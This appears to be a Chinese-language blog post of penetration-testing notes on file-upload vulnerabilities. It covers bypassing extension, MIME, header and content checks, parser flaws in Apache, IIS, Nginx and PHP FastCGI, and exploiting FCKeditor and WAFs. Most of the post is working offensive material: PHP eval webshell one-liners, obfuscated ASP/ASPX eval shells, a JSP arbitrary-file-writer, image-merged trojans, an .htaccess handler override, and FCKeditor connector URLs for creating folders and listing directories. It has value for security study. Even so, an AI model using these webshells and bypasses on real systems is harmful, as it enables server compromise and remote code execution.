头图:https://cdn.naraku.cn/imgs/web/thumb-upload.jpg
摘要:文件上传相关知识整理。
上传流程
上传流程以及对应的检测点
- 前端选择文件,点击上传
- JavaScript检测
- Flash AS检测
- 浏览器形成
POST MultPart
报文发送到服务器- WAF拦截
- IPS拦截
- 服务器中间件接收报文,解析后交给相关后端代码处理
- 扩展名检测
- 文件格式检测
MIME Type
检测- 内容检测(同WAF/IDS)
- 后端代码将文件内容写入临时文件中(PHP特有)
- 文件重命名
- 杀毒软件查杀
- 写入到文件后,文件名为原有文件名或以一定规则生成的文件名
- 无执行权限
- 未知文件路径
当文件上传点未对上传的文件进行严格的验证和过滤时,就容易造成任意文件上传,包括上传动态文件,如asp/php/jsp
等。如果上传的目录没有限制执行权限,导致上传的动态文件可以正常执行并可以访问,即存在上传漏洞的必要条件是:
扩展名 | MIME Type |
---|---|
jpg | image/jpeg |
png | image/png |
txt | text/plain |
zip | application/zip |
doc | application/msword |
文件内容
简单文件头检测:文件头的起始部分一般开头标记文件类型,如
GIF
的文件头位GIF89a
或GIF87a
- 绕过方法:对于只对文件头部进行简单匹配的检测方法,可以通过在上传的文件前追加合法的文件头进行绕过,如:
GIF89a<?php phpinfo(); ?>
- 绕过方法:对于只对文件头部进行简单匹配的检测方法,可以通过在上传的文件前追加合法的文件头进行绕过,如:
完整文件结构检测:通过调用图像函数进行检测文件是否为图像,需要文件内容保持相对完整,所以无法通过添加头部进行绕过
- 绕过方法:通过
copy
命令将图片文件和木马文件进行合并,合并后的文件只要未经过清洗或缩放等操作,即可绕过检测,并保持文件的完整。# 将普通图片1.jpg 和 木马文件shell.php ,合并成木马图片2.jpg
$ copy /b 1,jpg+shell.php 2.jpg
- 绕过方法:通过
恶意文件内容检测:检测提交内容中是否包含WebShell等数据
- 绕过方法:
- 使用Kali自带的强混淆的
weevely
进行尝试:https://github.com/sunge/Weevely - 尝试开源的WebShell收集项目:https://github.com/tennc/webshell
图片重绘
Web应用调用GD图形库对上传的文件进行了文件转换,即时图片与文件合并,也会将尾部转换掉,无法通过前面的方法上传WebShell
- 使用Kali自带的强混淆的
- 绕过方法:
思路:通过对比经过转换的图片,找出转换前后未变化的部分,将该部分替换为WebShell ```php 11111111111111[xxxxxxxxxxx]11111111111111 # 转换前 22222222222222[xxxxxxxxxxx]22222222222222 # 转换后
此时将[xxxxxxxxxxx]部分替换为Webshell
11111111111111[<?php phpinfo(); ?>]11111111111111
- 参考:[https://www.freebuf.com/articles/web/54086.html](https:_www.freebuf.com_articles_web_54086)
- 工具:[https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE](https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE)
```shell
php codeinj.php demo.gif "<?php phpinfo();?>"
Tricks
文件参数多
filename
属性:文件上传过程中,如果WAF拦截一些扩展名,可以通过Burp
抓包,添加多个filename
属性Content-Disposition: form-data; name="upfile"; filename="phpinfo.png"; filename="phpinfo.php";
目录可控时,可以尝试使用目录穿越
../
Content-Disposition: form-data; name="UPLOAD_DIR";
file/../../
# 如果过滤连续的 ../,可以在中间插入./进行绕过
file/.././../
在线解压缩搭配文件软链接
基本木马 ```php
$_REQUEST是在网页端输入变量访问
$_GET,$_POST则是通过工具连接,基于C/S架构
<?php @eval($_POST[‘ant’]);?> <?php eval(@$_POST[‘ant’]); ?> # eval,使用php函数,如phpinfo() <?php system($_X[‘ant’]); ?> # system,使用Linux系统命令,如ls
- 简单变形
```php
ASP:<%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%>//-7
ASPX:<%@ Page Language = Jscript %>
<%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/
"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+
"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+
","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval
(/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%>//-7
JSP:<%
if(request.getParameter("f")!=null)(new
java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
- 图片马
- 使用Winhex十六进制打开图片,插入一句话
- 右键图片属性,在详细信息-版权内插入一句话
- CMD制作一句话:
copy /b 1.jpg+1.asp 2.jpg
- 搜索某目录下文件是否含有木马
$ fgrep -R 'eval($_' /var/www/dvwa
解析漏洞
木马文件就算被成功上传,如果没有被Web容器以脚本文件解析执行,也不会对服务器造成威胁。所以往往在利用文件上传漏洞时,会与Web容器的解析漏洞配合使用,以保证上传的恶意代码被成功执行。
Apache
后缀解析漏洞
Apache是从右到左开始判断解析文件后缀,如果为不可识别解析,则继续往左判断。如
shell.php.abc.rar
,其中.abc
和.rar
这两种后缀都不可识别解析,继续往左就是shell.php
,则此时该文件就被Apache解析成PHP文件htaccess文件解析漏洞
如果
.htaccess
可被执行且可被上传,那么可以在其中写入以下代码。然后上传shell.jpg
图片马,此时该木马将被解析为php
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
IIS
IIS6.0解析漏洞
影响版本:
IIS 5.x ~ 6.0
目录解析漏洞:在网站下建立
xxx.asp
文件夹,该文件夹内任何后缀的文件都将被IIS当做asp脚本文件来解析并执行- 文件解析漏洞:文件名分号后面不被解析,如
shell.asp;.jpg
,会被看成shell.asp
。可通过抓包改包绕过上传的后缀白名单 其它:默认可执行文件除了
.asp
,还有.asa/.cer/.cdx
IIS7
影响版本:
IIS7.0 / IIS7.5 / Nginx<8.03
畸形解析漏洞:在默认
Fast-CGI
开启的情况下,上传一个1.jpg
文件,内容如下。然后去访问1.jpg/.php
,那么就会在该目录下生成一个shell.php
文件<?PHP fputs(fopen('shell.php', 'w'), '<?php eval()?>'); ?>
Nginx
空字节代码执行漏洞
Nginx<=0.7.65 / Nginx<=0.8.37
在图片
1.jpg
中嵌入PHP代码,然后通过访问1.jpg%00.php
来执行其中代码文件名逻辑漏洞(CVE-2013-4547)
影响版本:
Nginx 0.8.41~1.4.3 / 1.5.0~1.5.7
上传一个以空格
%20
结尾的文件,如abc.jpg
,当访问abc.jpg%20%00.php
时,其中%20%00
可能需要使用Burp抓包进行UrlDecode
,此时会将前面的图片文件当做PHP执行。PHP FastCGI取值错误解析漏洞
前提条件:网站开启了
cgi.fix_pathinfo
并且未设置security.limit_extensions
开启了
cgi.fix_pathinfo
后,如果所执行文件不存在,则会向前递归解析,继续查找上一级文件是否存在- 如:
index.php/abc/xxx
- 如:
- 未设置
security.limit_extensions
,该选项用于限制可执行的文件类型- 如:
abc.jpg/.php
- 如:
假设网站满足以上条件,当访问
[http://www.xxx.com/1.jpg/xxx.php](http://www.xxx.com/1.jpg/xxx.php)
时,页面返回的是将**1.jpg**
按php解析的结果。由于xxx.php
是不存在的文件,PHP则会向前递归解析,造成解析漏洞。上传漏洞
filepath漏洞
可用于突破自动命名规则
- 改变文件上传路径:如
filepath
默认路径为/upload/
,将其修改为/upload/x.asp/
,配合IIS6目录解析漏洞使用,需要一定的权限,否则无法成功创建目录。 - 直接改变文件名称:将默认路径
/upload/
修改为/upload/x.asp;.abc.jpg
- 改变文件上传路径:如
%00
截断Version=2.2
:Apache+Linux
环境下,上传文件时后面即可.
即可突破Version<=2.42
:在处理PHP上传的地方未对Media类型进行上传文件类型的控制,导致用户上传任意文件。<form id="frmUpload" enctype="multipart/form-data"action="目标上传路径" method="post">
Upload a new file: <br>
<input type="file" name="NewFile" size="50"> <br>
<input id="btnUpload" type="sublimt" value="Upload">
</form>
测试上传点
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
FCKeditor/_samples/default.html
FCKeditor/editor/fckeditor.htm
FCKeditor/editor/fckdialog.html
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php
突破限制
上传限制
上传限制的突破方式很多,主要还是抓包改扩展名,
%00
截断,添加文件头等文件名限制
文件上传时可能会将文件名中的
.
修改成_
空格绕过:将文件名修改为
1.php+空格
绕过,不过此方法只支持Windows系统,而*nix
不支持二次上传绕过:将文件名修改为
1.asp;.jpg
,此时文件名可能会自动变成1_asp;.jpg
,再次上传文件,此时第二个上传的文件即有可能会被重命名为1.asp(1);.jpg
IIS6.0突破文件夹限制
访问
[http://127.0.0.1/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/xx.asp&NewFolderName=x.asp](http://127.0.0.1/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/xx.asp&NewFolderName=x.asp)
。此时会在网站目录下递归创建xx.asp/x.asp
目录,但是此处内层目录x.asp
会被重命名为x_asp
,即创建了/xx.asp/x_asp
,可以将文件上传到xx.asp
目录,配合IIS6.0
目录解析漏洞进行利用。另外也可以在上传时通过Burp抓包,将
CurrentFolder=%25
修改为CurrentFolder=/xx.asp
。原理同上,其中%2F
即当前目录/
的URL编码Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
文件解析限制
通过Fckeditor编辑器在文件上传页面中,创建
1.asp
文件夹,然后再到该文件夹下上传一个图片的webshell文件,获取其shell。列目录
fckeditor
:FCKeditor/editor/fckeditor.html
不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页,可以查看已经上传的文件。根据XML返回信息查看网站目录
http://127.0.0.1/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp
获取当前文件夹
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
浏览E盘文件
/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=e:/
WAF绕过
检验扩展名:修改后缀,如
PHP3
、PHP5
等绕过检验文件头:伪造文件头,在一句话木马前面加入
GIF89a
,然后将木马保存为图片格式,如.jpg/.png/.gif
GIF89a
...
检验文件类型:修改
Content-Type
- 文件包含过WAF:在不含恶意代码的脚本文件中,通过文件包含引入含有恶意代码但后缀为图片格式的文件。因为含有恶意代码的文件后缀为图片,WAF不会检查其中内容;而不含恶意代码的脚本文件中,因为不含恶意代码所以WAF不会检测出异常,从而达到绕过WAF。
- 将一句话木马写入
1.jpg
- 在另一个脚本文件中,通过文件包含引入
1.jpg
文件# 如asp木马的文件包含
<!--#include file="1.jpg" -->
- 将一句话木马写入